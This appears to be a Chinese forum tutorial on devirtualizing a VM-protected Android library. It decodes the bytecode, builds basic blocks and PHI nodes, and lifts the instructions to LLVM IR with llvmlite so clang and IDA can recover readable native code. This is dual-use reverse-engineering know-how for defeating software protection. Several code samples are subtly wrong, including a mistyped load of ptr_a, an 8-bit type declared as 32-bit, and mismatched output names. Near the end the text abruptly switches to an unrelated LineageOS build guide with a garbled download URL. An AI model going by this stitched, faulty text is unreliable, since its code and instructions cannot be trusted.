J | \\nJ 0x1234 | \\nJ address | \\n无条件跳转指令 | \\n
JCC | \\nJCC<V8.b> 0x1234, 0x5678 | \\nJCC | \\n有条件跳转,当条件码等于1时为真 | \\n
条件选择指令
\\n助记符 | \\n语法格式 | \\n操作数格式 | \\n说明 | \\n
---|---|---|---|
CSEL | \\nCSEL<V3.b> V6, V7, V9 | \\nCSEL | \\narm64中的CSEL指令类似 | \\n
取元素指针指令
\\nGEP是getelementptr指令的缩写,详细可以llvm ir中的getelementptr指令
\\n助记符 | \\n语法格式 | \\n操作数格式 | \\n说明 | \\n
---|---|---|---|
GEP | \\nGEP V2, V3, [V8, V9, V20] | \\nGEP dreg, breg,[index, ...] | \\n\\n |
经过前面的自行设计的汇编代码和了解指令解码格式后,现在尝试解析指令数据将汇编指令打印出来,从代码中看出它并没有像传统的原生的汇编一样有堆栈指针寄存器,因为它是一个基于寄存器虚拟机。
目前还原到原生代码一共尝试了二种方案,第一种是将虚拟机指令构建到LLVM IR,再使用clang编译器编译.ll
文件生成原生代码,目前来看这是最佳方案。第二种是构建反编译器的il中间语言还原到伪C代码,目前只是进行了初步尝试并没有写完,有兴趣的朋友可以进行尝试。
llvmlite实现了llvm ir大多数的功能对我来说还原已经足够用了,不喜欢的可以更换官方llvm或者其他的库。
\\n安装:
\\n1 | pip install llvmlite |
开源仓库:llvmlite
\\n文档:llvmlite文档
\\n虚拟在初始化外部指针、寄存器常量赋值时寄存器的类型信息丢失,导致在后面构建IR时做了很多类型和数据长度的转换操作,在反汇编角度来说数据类型只要认1/2/4/8字节数据、指针等等就行,没有类型信息反而更好编写。
\\n还原的汇编有非常多的寄存器,不同的原生函数在被虚拟化后寄存器的数量还不一样,这些寄存器在阅读时可以当成变量来理解。在高级语言编码中定义一个变量完全不考虑寄存器的问题,因为编译器为我们自动分配了寄存器,同样IR语言中也不用考虑变量分配寄存器的问题。
\\n定义变量:
\\nC/C++定义一个局部变量是这样的,指定一个类型和变量名并未赋初值。
\\nC/C++声明变量:
\\n1 | int num; |
IR声明变量:
\\n1 2 | t_int32 = ir.IntType( 32 ) ptr_num = builder.alloca(t, name = \\"num\\" ) |
高级语言中int num;编译器默认是在堆栈分配变量,而在IR中builder.alloca也是在堆栈分配变量,与高级语言不同的是返回值是一个指针int * ptr_num,想要把值拿出来使用必须使用builder.load把值取出来,这和高级语言中的指针取值运算类型*ptr_num类似。
\\n加法运算:
\\nc/c++;
\\n1 2 3 | int a = 111; int b = 222; int c = a + b; |
IR:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 | t = ir.IntType( 32 ) # int a = 111; ptr_a = builder.alloca(t, name = \\"a\\" ) # 定义变量a,返回一个堆栈的指针引用 builder.store(ir.Constant(ir.IntType( 32 ), 111 ), ptr_a) # int b = 222; ptr_b = builder.alloca(t, name = \\"b\\" ) # 定义变量b,返回一个堆栈的指针引用 builder.store(ir.Constant(ir.IntType( 32 ), 111 ), ptr_b) # int c = a + b; a_value = builder.load(ptr_a) # 从堆栈中把变量a的值取出来 b_value = builder.load(ptr_a) # 从堆栈中把变量a的值取出来 result = builder.add(a_value, b_value) # 将a和b的值进行加法运算,返回的结果是一个值不是堆栈指针。 ptr_c = builder.alloca(t, name = \\"c\\" ) # 定义变量c,返回一个堆栈的指针引用 builder.store(result, ptr_c) # c = a + b; |
简单的3行高级语言代码在IR中有不少行的逻辑,有点麻烦笨拙的感觉
\\n数值扩展:
\\n在IR中左值和右值类型或类型长度不至时是不能够直接参与运算的,需要进行转换后才能够使用。
\\nc/c++:
\\n1 2 | signed char c = 0xf8; signed int n = c; |
IR:
\\n1 2 3 4 5 6 7 8 9 10 11 12 | t_i8 = ir.IntType( 32 ) t_i32 = ir.IntType( 32 ) # signed char c = 0xf8; ptr_c = builder.alloca(t_i8, name = \\"c\\" ) builder.store(ir.Constant(ir.IntType( 32 ), 0xf8 ), ptr_c) # signed int n = c; ptr_n = builder.alloca(t_i32, name = \\"n\\" ) builder.store(ir.Constant(ir.IntType( 32 ), 0xf8 ), ptr_n) sext_type = ir.IntType( 32 ) # 定义一个需要扩展的目标类型int c_value = builder.load(ptr_c) # 从栈栈中取出c的值 cast_value = builder.sext(c_value, sext_type) # 传入需要扩展的值和扩展的目标类型,注意返回值是值类型 builder.store(cast_value, ptr_n) # 将转换后的值放入变量c |
定义函数:
\\n想要向函数写入指令,首要声明函数类型并指定参数的类型和返回值类型,然后再定义函数对象,要知道函数对象承载了基本块对象而基本块承载了指令对象,只要向函数添加指令至少一个基本块之后才能向基本块写入指令,对于有多个基本块时要使用“指令指针”移动到该基本块,再向该基本块定入指令。
\\nIR指令指针移动到向基本块的未尾:
\\n1 | builder.position_at_end(curr_ir_basic_block) |
IR指令指针移动到向基本块的开始:
\\n1 | builder.position_at_start(curr_ir_basic_block) |
常用的IR指令:
\\n加减乘除:
\\n1 2 3 4 5 | builder.add(lhs, rhs) builder.sub(lhs, rhs) builder.mul(lhs, rhs) builder.sdiv(lhs, rhs) builder.udiv(lhs, rhs) |
带符号取模操作:
\\n1 2 | temp = builder.sdiv(lhs, rhs) result = builder.sub(lhs, builder.mul(temp, rhs)) |
指针类型之间的转换:
\\n1 | builder.bitcast(ptr, target_type) |
整形转指针:
\\n1 | builder.inttoptr(val, target_ptr_type) |
指针转整形:
\\n1 | builder.ptrtoint(val, target_int_type) |
比较:
\\n1 2 3 4 5 6 7 8 | builder.icmp_signed( \\"==\\" , lhs, rhs) # lhs和rhs是左值和右值,整形比较的不要使用堆批指针 builder.icmp_signed( \\"!=\\" , lhs, rhs) builder.icmp_signed( \\">\\" , lhs, rhs) builder.icmp_signed( \\">=\\" , lhs, rhs) icmp_unsigned( \\"==\\" , lhs, rhs) icmp_unsigned( \\"!=\\" , lhs, rhs) icmp_unsigned( \\"<\\" , lhs, rhs) icmp_unsigned( \\"<=\\" , lhs, rhs)) |
无条件跳转:
\\n1 | builder.branch(target_basic_block) |
有条件跳转:
\\n1 | builder.cbranch(builder.load(ptr_cond), true_br, false_br) |
返回指令:
\\n1 | builder.ret_void() |
1 2 | ret_val = builder.load(ptr_ret_val) builder.ret(ret_val) |
我的还原方法不一定很好都多都是临时有想法加进去的,对IR非常熟悉的完全可以按照自己的想法去实现。
\\n解码虚拟机指令字节数据
\\n由于指令是不定变长的,这里把指令字节数据放到一张列表中,也方便在查找基本块时将指令加入到基本块中。
\\n1 2 3 | vmState: VMState = BytecodeDecoder.build_vmp_state( filename, offset, size, extern_list) instructions = vmState.deocde_instruction() |
创建基本块
\\n这里的基本块是还原后的虚拟机基本块,基本块的终止符指令有:ret、switch、j、jcc指令,从第一条指令开始扫描这些指令,并记录下这些指令的真假和多路跳转目标地址,这些跳转地址是基本块的起始地址,当遇到终止符指令结束基本块并把基本块的信息保存到基本块列表中。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | def get_jump_targets(insn): jump_targets = [] match insn[ 0 ]: case 0x16 : # switch opcode, treg, type , defbranch, element_count, switch_branches = insn # [deftar, casetar, casetar, ...] jump_targets.append(defbranch) jump_targets.extend(switch_branches) case 0x1d : # jcc truebr = insn[ 2 ] jump_targets.append(truebr) return jump_targets def is_successors_insn(insn): match insn[ 0 ]: # 指令的opcode case 0x13 | 0x16 | 0x1d : # ret: 0x13 | switch: 0x16 | jmp/jcc: 0x1d return True case _: return False def find_basic_blocks(instructions): \\"\\"\\"识别基本块\\"\\"\\" jump_targets = set () basic_blocks = [] current_block = [] # 先找出所有跳转目标 for insn in instructions: targets = get_jump_targets(insn) if targets: jump_targets.update(targets) pc = start = end = 0 for insn in instructions: insn_len = get_insn_length(insn) print (f \\"{pc:#x}, {insn_len}\\" ) # 如果当前指令是跳转目标,开始新块 if pc in jump_targets and current_block: basic_block_info = { \\"start_hex\\" : f \\"{start:#x}\\" , \\"end_hex\\" : f \\"{pc + insn_len:#x}\\" , \\"start\\" : start, \\"end\\" : pc + insn_len, \\"basic_block\\" : current_block} basic_blocks.append(basic_block_info) current_block = [] start = pc + insn_len print (f \\"{\'-\' * 50}\\" ) current_block.append(insn) # 检查是否是基本块终止指令 if is_successors_insn(insn): basic_block_info = { \\"start_hex\\" : f \\"{start:#x}\\" , \\"end_hex\\" : f \\"{pc + insn_len:#x}\\" , \\"start\\" : start, \\"end\\" : pc + insn_len, \\"basic_block\\" : current_block} basic_blocks.append(basic_block_info) current_block = [] start = pc + insn_len print (f \\"{\'-\' * 50}\\" ) end + = insn_len pc + = insn_len # 添加最后一个块(如果有) if current_block: basic_block_info = { \\"start_hex\\" : f \\"{start:#x}\\" , \\"end_hex\\" : f \\"{pc + len(insn):#x}\\" , \\"start\\" : start, \\"end\\" : pc + len (insn), \\"basic_block\\" : current_block} basic_blocks.append(basic_block_info) return basic_blocks |
初始化模块
创建IR模块并初始化一些基本参数,一个模块包含多个函数,一个函数包含多个基本块,一个基本块包含多条指令,而指令中包含操作码和一个或多个操作数。IR模块是一个顶级模块,只要有模块对象就可以拿任何想要的数据。
创建模块并设置要编译的架构和目标平台:
1 2 | module = ir.Module(f \\"{filename}_{size:#x}_{extern_list:#x}\\" ) module.triple = \\"aarch64-unknown-linux-gnu\\" # 目标架构为linux aarch64 |
声明外部函数声明
\\n告诉它函数中会调用calloc需要调用,从dump的汇编代码来看,CALLOC的申请的内存大小基本上都小于0x100,其实对于比较小的数据可以把CALLOC的内存转移到堆栈中,我并没有这么做原因太懒了写完还要去验证代码。
\\n1 2 3 | size = 0xa8 t_array = ir.ArrayType(ir.IntType( 8 ), size) buffer = builder.alloca(t_array, name = \\"buffer\\" ) |
声明一个函数类型填好参数和返回值的类型,然后创建一个函数对象指令外部符号名称\\"calloc\\"。
\\n1 2 3 4 5 6 | def declare_external_calloc(module: ir.Module): declare_calloc = ir.FunctionType(ir.PointerType(ir.IntType( 8 )), [ir.IntType( 32 ), ir.IntType( 32 )]) fn_calloc = ir.Function(module, declare_calloc, \\"calloc\\" ) fn_calloc.args[ 0 ].name = \\"num\\" fn_calloc.args[ 1 ].name = \\"size\\" return fn_calloc |
定义一个入口函数
\\n虚拟机所有的指令将会使用IR接口向函数写入指令。
\\n1 2 3 4 5 6 7 8 9 | def ini_entry_function(vmState: VMState, module: ir.Module, alloca_regs: dict ): entry_func_define = create_type(vmState.entry_function) entry_func = ir.Function(module, entry_func_define, \\"entry_func\\" ) for i in range (vmState.entry_function.argumentCount): name = \\"A\\" + str (i) entry_func.args[i].name = name alloca_regs[name] = entry_func.args[i] # entry_func.append_basic_block(\\"entry\\") return entry_func |
为入口函数创建所有的基本块
\\n调用func.append_basic_block为函数添加基本块,此时所有的基本块还未写入指令,因此它们是空的。
\\n1 2 3 | def create_all_basic_blocks(func: ir.Function, basic_blocks): for bb in basic_blocks: func.append_basic_block(f \\"bb_{bb[\\" start \\"]:x}\\" ) |
在create_all_basic_blocks函数返回后,在调试控制台输入print(entry_func)回车后打印该函数已经写入的所有IR信息。
\\n1 2 3 4 5 6 7 | define void @ \\"entry_func\\" (i8* % \\"A0\\" , i32 % \\"A1\\" , i8* % \\"A2\\" ) { bb_0: bb_32d: bb_340: bb_342: } |
为模块创建一个IR构建器
\\n在函数添加一个新的基本块func.append_basic_block()时,基本块对象成员中会有与之关联的上层的函数对象:parent,同样函数对象成员会一个上层的模块对象,因此创建IR构建器参数是一个基本块,很容易就可以关联到为模块创建一个构建器。
\\n1 | builder = ir.IRBuilder(entry_func.blocks[ 0 ]) |
初始化外部指针
\\n在上面一章还原的汇编代码中会将外部的指针设置到寄存器中,因此要为这些变量(虚拟寄存器)设置初值。之前有提到过
\\n外部地址和初始化寄存这二个步骤是没有类型信息的,这里暂时设置类型为32位的整形常量。
\\n1 2 3 4 | def set_extern_regs(vmState: VMState, builder: ir.IRBuilder, alloca_regs): for i in range ( 0 , len (vmState.extern.targetRegs)): v = get_register_ptr(alloca_regs, builder, vmState.extern.targetRegs[i], ir.IntType( 32 )) builder.store(ir.Constant(ir.IntType( 32 ), vmState.extern.externalAddress[i]), v) |
初始化寄存器
\\n为寄存器设置初始化值,这个初始化的值是一个常量,常量在后面指令执行时到结束都不会改变寄存器的值。前面说过这里常量来自未加密前原生汇编中的常量例如: MOV X3, #0x88,#0x88就是一个常量它的值是不会发生改变的,生成虚拟化代码后可能就是MOV V20, #0x88,初始化寄存不止有MOV指令还有会其他指令对目标寄存进行初始化。
\\n目前只添加了遇到的指令:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | def set_inial_regs(vmState: VMState, builder: ir.IRBuilder, alloca_regs): inial = vmState.inial types = vmState.types for i in range ( 0 , len (inial.opcodes)): match inial.opcodes[i]: case 0 | 0xb | 0x17 : ptr_breg = get_register_ptr(alloca_regs, builder, inial.sRegs[i]) if isinstance (ptr_breg, ir.Argument): val_breg = ptr_breg else : t = types[inial. type [i]] if t.tag ! = 0xf : ir_type = ir.PointerType(create_type(t)) else : ir_type = create_type(t) val_breg = builder.bitcast(ptr_breg, ir_type) index_table = [] for idx in inial.imm[i]: index_table.append(ir.Constant(ir.IntType( 32 ), idx)) ele_ptr = builder.gep(val_breg, index_table) builder.store(ele_ptr, get_register_ptr(alloca_regs, builder, inial.dRegs[i], ele_ptr. type )) case 7 : v = get_register_ptr(alloca_regs, builder, inial.dRegs[i], ir.IntType( 32 )) builder.store(ir.Constant(ir.IntType( 32 ), inial.imm[i]), v) case 8 : t = types[inial. type [i]] if t.tag ! = 0xe : v = get_register_ptr(alloca_regs, builder, inial.dRegs[i], ir.IntType( 32 )) builder.store(ir.Constant(ir.IntType( 32 ), 0 ), v) else : raise Exception( \\"error\\" ) case 0x15 : print ( f \\"{\'-\' * 6:<} {\'-\' * 5}registers const{\'-\' * 6} MOV\\\\tV{inial.dRegs[i]}.T@{Decoder.get_type_annotation(types[inial.type[i]])}, V{inial.sRegs[i]}\\" ) case _: raise Exception( \\"error\\" ) |
预分配
这个是为了生成的代码好看,先让IR代码开始的位置分配堆栈变量先把堆栈坑给占了,编译器编译后自动计算这个坑的内存大小,例如:sub sp, sp, #0x240,#0x240就大小就是编译器在生成的函数时就为我们计算出的坑大小。如果不在函数开头不预分配会发生什么样的情况呢,在代码生成的中间部分会临时修改堆栈的指针分配堆栈的内存,这个频率会非常的多,这会大大降低了汇编代码的可读性,尽管反编译器生成伪C代码的优化会把它掉,后面的章节会有校验虚拟机汇编和生成的原生汇编逻辑是否一致,通过对比来验证我们生成IR代码是否有问题。
遍历虚拟机指令先把指令中的目标寄存先分配了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 | def get_register_ptr(alloca_regs, builder: ir.IRBuilder, reg, t: ir. Type = ir.IntType( 64 )): name = f \\"V{reg}\\" arg_name = f \\"A{reg}\\" if alloca_regs.get(arg_name, None ) is None : if alloca_regs.get(name, None ) is None : alloca_regs[name] = builder.alloca(t, name = name) # 这分配堆栈变量 return alloca_regs[name] else : return alloca_regs[arg_name] def preallocation_registers(basic_blocks, types: list [ Type ], alloca_regs, builder, vmState: VMState): pc = 0 for bb in basic_blocks: for insn in bb[ \\"basic_block\\" ]: print (f \\"prealloc regs addr: {pc:#x}\\" ) opcode = insn[ 0 ] match (opcode): case 0x1 : # ARITH t = types[insn[ 2 ]] sreg1 = insn[ 3 ] sreg2 = insn[ 4 ] dreg = insn[ 5 ] get_register_ptr(alloca_regs, builder, dreg, create_type(t)) case 0x2 : # MOV op2 = insn[ 1 ] dtype = types[insn[ 2 ]] stype = types[insn[ 3 ]] sreg = insn[ 4 ] dreg = insn[ 5 ] match op2: case 0 | 5 | 0xA | 0xC : get_register_ptr(alloca_regs, builder, dreg, create_type(stype)) case _: get_register_ptr(alloca_regs, builder, dreg, create_type(dtype)) case 0x6 : # CALLOC a2_type = types[insn[ 1 ]] a1_type = types[insn[ 2 ]] sreg = insn[ 3 ] dreg = insn[ 4 ] t2_type = create_type(a2_type) get_register_ptr(alloca_regs, builder, dreg, ir.PointerType(t2_type)) # get_register_ptr(alloca_regs, builder, dreg, t2_type) case 0xa : # STR type = types[insn[ 1 ]] sreg = insn[ 2 ] mreg = insn[ 3 ] # get_register_ptr(alloca_regs, builder, sreg, create_type(type)) get_register_ptr(alloca_regs, builder, mreg, create_type(PointerType( type ))) case 0xc : # CMP dreg = insn[ 4 ] get_register_ptr(alloca_regs, builder, dreg, ir.IntType( 1 )) # case 0xe: # BSEL.PHI case 0xf : # CALL func_define: FunctionType = types[insn[ 1 ]] if func_define.returnValueType.tag ! = 0 : ret_reg = insn[ 3 ] t_ret_val = create_type(func_define.returnValueType) get_register_ptr(alloca_regs, builder, ret_reg, t_ret_val) case 0x13 : # RET ret_type = types[insn[ 1 ]] if ret_type.tag ! = 0 : ret_reg = insn[ 2 ] get_register_ptr(alloca_regs, builder, ret_reg, create_type(ret_type)) case 0x16 : # SWITCH raise Exception( \\"not implemented\\" ) case 0x1d : # JCC cond = insn[ 1 ] jmpTrue = insn[ 2 ] if cond ! = 0 : flagReg = insn[ 3 ] t = types[insn[ 4 ]] get_register_ptr(alloca_regs, builder, flagReg, create_type(t)) case 0x1e : # CSEL dreg = insn[ 6 ] type = types[insn[ 3 ]] get_register_ptr(alloca_regs, builder, dreg, create_type( type )) case 0x28 : # GEP dreg = insn[ 1 ] t = types[insn[ 3 ]] # for idx in insn[6]: # if not vmState.is_static_reg(idx): # ptr_reg = get_register_ptr(alloca_regs, builder, idx) # gep_idx = builder.load(ptr_reg) # get_register_ptr(alloca_regs, builder, dreg, create_type(t)) case 0x2a : # LDR t = types[insn[ 1 ]] dreg = insn[ 3 ] get_register_ptr(alloca_regs, builder, dreg, create_type(t)) pc + = get_insn_length(insn) |
获取虚拟机指令中的所有PHI指令和PHI参数信息
从所有基本块一个一个查找PHI指令,找到后先把PHI的result值在堆栈中先分配占坑预分配堆栈,然后从phi指令参 数中取出前驱基本块和前驱基本块对应的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | def get_phi_nodes(state: VMState, alloca_regs, builder: ir.IRBuilder, func: ir.Function, basic_blocks, ): phi_nodes = [] for bb in basic_blocks: bb_name = f \\"bb_{bb[\\" start \\"]:x}\\" ir_basic_block = get_ir_basic_block_by_name(func, bb_name) for insn in bb[ \\"basic_block\\" ]: match insn[ 0 ]: case 0xe : # 初始化phi结果(目标)寄存器 phi_store_reg = insn[ 1 ] builder.store(ir.Constant(ir.IntType( 64 ), 0 ), get_register_ptr(alloca_regs, builder, phi_store_reg, ir.IntType( 64 ))) # 获取phi信息 phi_node_info = [] for node in insn[ 3 ]: val = node[ 0 ] if not state.is_static_reg(val): # 当值是变量寄存器则分配一个堆栈变量并赋值为0 ptr_val = get_register_ptr(alloca_regs, builder, val, ir.IntType( 64 )) builder.store(ir.Constant(ir.IntType( 64 ), 0 ), ptr_val) ir_bb = get_basic_block(func, node[ 1 ]) phi_node_info.append([val, ir_bb]) phi_nodes.append({ \\"phi_basic_block\\" : ir_basic_block, \\"phi_store_reg\\" : phi_store_reg, \\"phi_node_info\\" : phi_node_info}) return phi_nodes |
为所有基本块中的指令添加IR指令
经过前面所有的准备步骤后,终于可以添加IR指令了,前面说过了要添加指令必须要让builder的指令指向基本块的一个位置,在基本块迭代的开头位置首先指定要写入指令的基本块。
基本块经过前面的寄存器初始化后已经写入了一些指令了,现在要指令指针移动到基本块的尾部builder.position_at_end(curr_ir_basic_block)。
1 2 3 4 | for bb in basic_blocks: bb_name = f \\"bb_{bb[\\" start \\"]:x}\\" curr_ir_basic_block = get_ir_basic_block_by_name(entry_func, bb_name) # 当前指令所在的基本块 builder.position_at_end(curr_ir_basic_block) |
从基本块中取出指令开始遍历虚拟机指令生成IR代码,为了方面阅读下面只是框架的部分代码:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 | for bb in basic_blocks: bb_name = f \\"bb_{bb[\\" start \\"]:x}\\" curr_ir_basic_block = get_ir_basic_block_by_name(entry_func, bb_name) # 当前指令所在的基本块 builder.position_at_end(curr_ir_basic_block) # 构建器指针移动到新的基本块未尾 for insn in bb[ \\"basic_block\\" ]: print (f \\"addr: {pc:#x}\\" ) opcode = insn[ 0 ] match (opcode): case 0x1 : # ARITH op2 = insn[ 1 ] t = types[insn[ 2 ]] sreg1 = insn[ 3 ] sreg2 = insn[ 4 ] dreg = insn[ 5 ] match op2: case 0 : # XOR # TODO IR case 0x1 : # SUB # TODO IR case 0x2 : # LSR # TODO IR case 0x3 : # UDIV # TODO IR case 0x4 : # ADD # TODO IR case 0x5 : # OR # TODO IR case 0x6 : # SMOD # TODO IR case 0x7 : # SIDV # TODO IR case 0x8 : # UMOD case 0xA : # ASR # TODO IR case 0xC : # LSL # TODO IR case _: # TODO Handler Not Impl case 0x2 : # MOV op2 = insn[ 1 ] dtype = types[insn[ 2 ]] stype = types[insn[ 3 ]] sreg = insn[ 4 ] dreg = insn[ 5 ] match op2: case 0 | 5 | 0xA | 0xC : # 保持两个操作操作数类型一致性 # TODO IR MOV dreg, sreg case 0x1 : # 扩展 # TODO IR MOV dreg, sreg.8 case 0x7 : # 截取 # TODO IR MOV dreg.d, sreg.8 case 0x9 : # TODO IR case _: # TODO Handler Not Impl case 0x6 : # CALLOC a2_type = types[insn[ 1 ]] a1_type = types[insn[ 2 ]] sreg = insn[ 3 ] dreg = insn[ 4 ] # TODO call calloc(num, size) case 0xa : # STR type = types[insn[ 1 ]] sreg = insn[ 2 ] mreg = insn[ 3 ] # TODO STR sreg, [mreg] case 0xc : # CMP t = types[insn[ 1 ]] reg1 = insn[ 2 ] reg2 = insn[ 3 ] dreg = insn[ 4 ] op2 = insn[ 5 ] match op2: case 0x20 : # CMP_EQ # TODO case 0x21 : # CMQ_NE raise Exception(f \\"CMP.NE not impl\\" ) case 0x24 : # CMP_CC raise Exception(f \\"CMP.CC not impl\\" ) case 0x28 : # CMP_LT raise Exception(f \\"CMP.LT not impl\\" ) case _: input (f \\"未识别的CMP指令op2={op2:#x}\\" ) case 0xe : # BSEL.PHI phi_basic_blocks.append(curr_ir_basic_block) # 记录phi指令所在的基本块 case 0xf : # CALL # TODO case 0x13 : # RET ret_type = types[insn[ 1 ]] if ret_type.tag = = 0 : # TODO 没有返回值时 else : # TODO 有返回值时 case 0x16 : # SWITCH raise Exception( \\"not implemented\\" ) case 0x1d : # JCC # ------ 查找当前节点是否PHI中的参数前驱节点 ------ # 到了终止符指令了,在写入终止符前遍历PHI节点的前驱节点参数label是否在当前基本块,如果找到则 # 1.保存当前基本块信息, # 2. 并取出PHI参数节点变量 # ------ 然后才开始处理跳转指令 ------ cond = insn[ 1 ] jmpTrue = insn[ 2 ] if cond = = 0 : # jmp # TODO IR 连接后续基本块 else : # j.cond flagReg = insn[ 3 ] t = types[insn[ 4 ]] jmpFalse = insn[ 5 ] # TODO IR 连接真和假块 case 0x1e : # CSEL ntype = insn[pc + 1 ] if ntype.tag = = 0x10 : raise Exception( \\"error\\" ) creg = insn[pc + 2 ] type = insn[pc + 3 ] treg = insn[pc + 4 ] freg = insn[pc + 5 ] dreg = insn[pc + 6 ] # TODO IR case 0x28 : # GEP dreg = insn[pc + 1 ] none = insn[pc + 2 ] type = insn[pc + 3 ] count = insn[pc + 4 ] breg = insn[pc + 5 ] # TODO IR case 0x2a : # LDR type = insn[pc + 1 ] mreg = insn[pc + 2 ] dreg = insn[pc + 3 ] # TODO IR |
在写入完所有指令后开始处理PHI指令,PHI指令必须是基本块的第一条指令位置,因此将IR指令指针移动到基本块最前方的位置,然后再添加PHI组合参数(变量,基本块<label>),最后保存PHI结果变量。
量。
1 2 3 4 5 6 7 8 9 10 11 12 | # 最后处理phi指令 if phi_basic_blocks: for bb in phi_basic_blocks: for phi_node in phi_nodes: if phi_node[ \\"phi_basic_block\\" ] = = bb: builder.position_at_start(bb) # 基本块的最前面插入phi指令 phi = builder.phi(int64_type, f \\"phi_var_{bb.name}\\" ) for node in phi_node[ \\"phi_node_info\\" ]: val = node[ 0 ] phi.add_incoming(val, node[ 1 ]) dreg_ptr = get_register_ptr(alloca_regs, builder, phi_node[ \\"phi_store_reg\\" ], int64_type) builder.store(phi, dreg_ptr) |
最后打印IR保存:
\\n1 | print (module) |
为了验证编译IR生成的原生代码编译不被编译器优化删减,添加参数禁用优化-O0,没有定义main函数编译为动态库:-shared。
\\nclang -O0 -shared devmp_0x168B60.ll -o devmp_0x168B60_O0.o\\n\\n
反汇编校对逻辑
\\nIDA PRO载入devmp_0x168B60_O0.o,查看还原的原生代码和虚拟机汇编逻辑是否一致。
禁用优化的伪C代码
优化编译
优化参数调整为O1生成目标代码
\\n1 | clang - O1 - shared devmp_0x168B60.ll - o devmp_0x168B60_O0.o |
打开优化查看原生汇编,发现代码被精减了好多。
F5查看优化编译后的伪C代码逻辑清晰了。
但它不乏也是一种还原思路,目前做了尝试使用Binary Ninja构建IL进行还原只做了少部分几条指令没有时间做下去了,从还原的几条指令效果来看,这个方法是行得通的,但没有还原到llvm IR效果那么好,llvm编译器优化做的非常到位,甚至有的时候能够将非常多的指令精简到难以想像的结果,精简后代码量少了非常方便于进行阅读分析指令。有兴趣的可以参考附加的文件DecodeBNIL.py
IR中有一个指令getelementprt和虚拟机中的一条指令逻辑非常像,之前这条指令名叫ADD.MO,MO是member offset的简写,查找llvm相关代码发现虚拟机和llvm bitcode有非常大的关系,发现bitcode中的指令、字节码的解析、解释器等等两者的逻辑和虚拟机非常的相似,想必大家已经猜了它是由什么改造而来的吧,文章写到止已经非常庞大了不做过多介绍了,有兴趣的可以阅读llvm bitcode的相关代码。
\\n判断是否虚拟机
单从cfg控制流图中是否很难判断出来,目前我没有快速的方法去判断,虚拟机保护的目的是隐藏真实的代码执行,如果想要确定虚拟机或混淆或者还是混淆中包含虚拟机,在确定是否虚拟机之前要提前了解混淆的原理和特征去排除纯混淆代码。
虚拟机在执行时有取指、解码、执行的handler三个步骤,三个步骤之间有时还会有switch分发表的连接(刻意隐藏的除外),一个完整的虚拟机保护handler会有完整的指令集模拟支持,这意味着hanler数量会非常的多:数据移动MOV类、算术运算加减乘除、逻辑运算与或非取反、调用子程序(外部函数)、内存访问等等,执行完handler会返回到取指令的位置,根据虚拟机的一些特性去综合判断,通常都是要分析一部分代码的逻辑才能确认,如果发现此类指令的模拟基本上可以确认是虚拟机了。总之来说需要分析经验的积累,简单的可能需要1-3天,复杂的可以要1-3周才能确定。
关于分析时间
\\n很多人都喜欢问这个分析了多久,的确这是一个非常重要的时间考量。对于简单的虚拟机分析在1-2周的工作日,国内大厂的一般在2-4周工作日左右,还有一些国外的世界级国际大厂,对于国际大厂他们做的非常好强度是非常高的则需要时间2-4个月,按这个时间成本来算的话已经达到了强不可催的目的了。
\\n\\n\\n之前的短视频虚拟分析和还原脚本大约3.5周的工作日时间,合计18天左右,另外加上写文章1.5周的工作日,总耗时约5周的工作日,文中分析的so是一个未经混淆并且字节码未加密的虚拟机,实际上在其他位置so中的虚拟机是一套东西,只不过混淆有所加强字节码被加密了,分析难度虽说有加强但也不是非常大。
\\n
\\n\\n此app的虚拟机分析和汇编还原脚本合计总耗时大约4周的工作日,IR编写大约1.5周的工作日,总耗时接近6周。
\\n
关于还原的理论
对于任何虚拟机指令接近原生指令的可以借用原生汇编指令还原到汇编,而对于虚拟机拥有自定义指令集的,理论来说都可以先还原到中间语言然后再还原到原生汇编。
作者通过自己踩坑发现网上并没有一份很完美的编译lineageOS的教程,作者结合官网和踩坑之后,出一份详细的编译记录,帮助各个苦苦寻找好用的lineage编译文章。遇到问题一定要看清楚文字各位亲们。
编译主机 ubuntu 20.04 真的别用其他的版本,坑太多了。如果你的ubuntu是其他版本,建议自己去lineage官网查看安装需要的库。
设备是 flame,编译lineageOS18版本。其他版本也可以参考本文章,反正写的够详细,能踩得坑都记录下来了。
一定要记住platform-tools的安装目录,作者安装在了 ~/android/platform-tools 目录中
mkdir -p ~/android/platform-tools\\n\\ncd ~/android/platform-tools\\n\\nwget 8c6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8q4)9J5k6h3N6G2L8$3N6D9k6g2)9J5k6h3y4G2L8g2)9J5c8X3q4F1k6s2u0G2K9h3c8Q4x3V1k6J5k6i4m8G2M7$3W2@1L8%4u0&6i4K6u0r3M7r3I4S2N6r3k6G2M7X3#2Q4x3X3c8@1L8$3!0D9M7#2)9J5k6r3I4S2N6r3g2K6N6q4)9J5k6r3I4A6L8Y4g2^5i4K6u0W2P5X3W2H3
然后将platform-tools添加到环境变量中,作者喜欢用vim去编辑
vim ~/.profile
然后将下面的内容添加到~/.profile的最下面,这里记得改成你的platform-tools的路径
